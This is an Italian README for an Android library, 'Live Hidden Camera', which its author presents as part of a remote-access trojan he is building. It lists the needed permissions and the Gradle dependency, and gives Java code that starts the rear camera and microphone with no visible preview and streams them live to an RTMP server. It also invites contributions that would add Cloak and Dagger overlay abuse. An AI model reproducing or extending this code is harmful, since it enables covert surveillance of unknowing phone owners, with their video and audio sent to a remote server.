
Live Hidden Camera è una libreria che registra video e audio in diretta dal dispositivo Android senza mostrare un'anteprima.
Telecamera Nascosta in Diretta (LHC) è una libreria che registra video e audio live da un dispositivo Android senza mostrare un'anteprima.

Sto lavorando a un malware Android basato su ricerche e ho deciso di creare un RAT (Strumento di Amministrazione Remota) multifunzione. Stavo lavorando su flussi live quando ho trovato alcuni progetti open source basati su RTMP, tra cui:
i quali hanno tutti qualche tipo di problema in base ai requisiti di un RAT. Ma il problema comune era che necessitano tutti di un'attività che includa un SurfaceView.
Pertanto, ho iniziato a cercare. Alla fine, sono riuscito a creare Telecamera Nascosta in Diretta che necessita solo di un CONTEXT per trasmettere video live, combinando questi due progetti:
Ho creato una libreria per renderla più utilizzabile. L'unico requisito è aggiungere la libreria al tuo progetto e passare l'URL RTMP.
Inoltre, devi occuparti di:
Manifest.xml:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
L'uso della libreria è semplice. Basta aggiungere la seguente libreria al file gradle.build del tuo progetto.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest.Prima di utilizzare la libreria, devi aver implementato un server RTMP. Ho usato Ant Media Server. C'è una buona guida sull'installazione di Ant Media Server in QUESTO LINK.
Dopo aver avviato il server RTMP di Ant Media, dovresti vedere qualcosa del genere:

Dopo aver aggiunto la libreria al tuo progetto, segui questi passaggi:
Crea una classe che implementi: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
Crea due campi (uno per la pubblicazione e uno per l'anteprima):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Implementa una funzione per avviare la Telecamera Nascosta in Diretta:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Chiedi all'utente di concedere il permesso.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
Il problema principale che sto affrontando è lo schermo verde. Ho descritto l'errore su StackOverflow in https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
Se hai suggerimenti su questo problema, o qualsiasi altra idea, non esitare a contattarmi.
A causa della sovrapposizione della Telecamera Nascosta in Diretta, non è possibile cliccare su altre app. I clic sono accettati solo dalla LHC. Controlla la sezione TODO.
Esiste un progetto chiamato Cloak and Dagger che ha svelato una capacità molto pericolosa in Android. È ben accetto qualsiasi contributo nell'uso di Cloak and Dagger nella LHC.
Controlla Cloak and Dagger qui:
Puoi donare a questo progetto usando il mio indirizzo BitCoin:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
Puoi contattarmi dal mio sito web: https://mstajbakhsh.ir/